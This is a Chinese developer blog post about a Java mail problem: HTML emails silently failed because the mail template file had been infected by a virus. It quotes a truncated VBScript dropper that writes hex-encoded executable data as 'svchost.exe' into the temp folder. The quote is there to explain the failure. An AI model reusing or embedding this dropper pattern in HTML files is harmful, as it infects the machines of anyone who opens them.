html 文件中毒导致Java mail发邮件失败问题复盘

问题描述

项目中有一个邮件发送的功能,实时监控服务器系统信息,并定时发邮件给系统管理员,邮件发送使用的是 html 格式的邮件正文。

但是最近一次部署后,所有发送邮件操作均没有后台异常,但是收件箱没有收到任何邮件。这是怎么回事儿呢?邮件为什么被送达呢?

排查过程

首先,检查 Linux 服务器上的 DNS 设置,测试发现 DNS 配置没有问题,如果 DNS 配置错误,后台应该报异常,异常信息是无法解析 smtp 域名的主机。

其次,写了一个小程序发送简单文本邮件,在 Linux 服务器上测试,能正常发送邮件。

同时在 Linux 上执行 tcpdump 抓包命令,发现系统发邮件的操作实际上是已经给邮件服务器发送报文了,但是收件箱却没有收到邮件。

进一步排查,发现是系统发送的是 html 内容的邮件,而读取邮件模板 html 文件的代码输出的模板信息中,无端多了很多无法解析的字符串。

更换成正确的 html 邮件模板文件后,服务器上的邮件发送功能恢复正常。

问题根源

邮件发送时使用的 模板 html 文件中病毒了,导致邮件内容无法识别,最终被服务器无情抛弃了

邮件模板 html 文件中无端多了好多内容:

 `<SCRIPT Language=VBScript>
 <!-- DropFileName = "svchost.exe" 
 WriteData = "4D5A90000300000004000000FFFF0000B800000000000...(后面还有很多)" 
 Set FSO = CreateObject("Scripting.FileSystemObject") 
 DropPath = FSO.GetSpecialFolder(2) & "\" & Dr... `

大概是我在用 QQ 发送部署包文件的时候,模板 html 文件受感染的,所以服务器上部署的文件是中毒后的,我本地都没有问题。

网上搜了下,这个病毒还是很常见的,我也是涨见识了,这个病毒害的我找了两天,坑人不浅!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值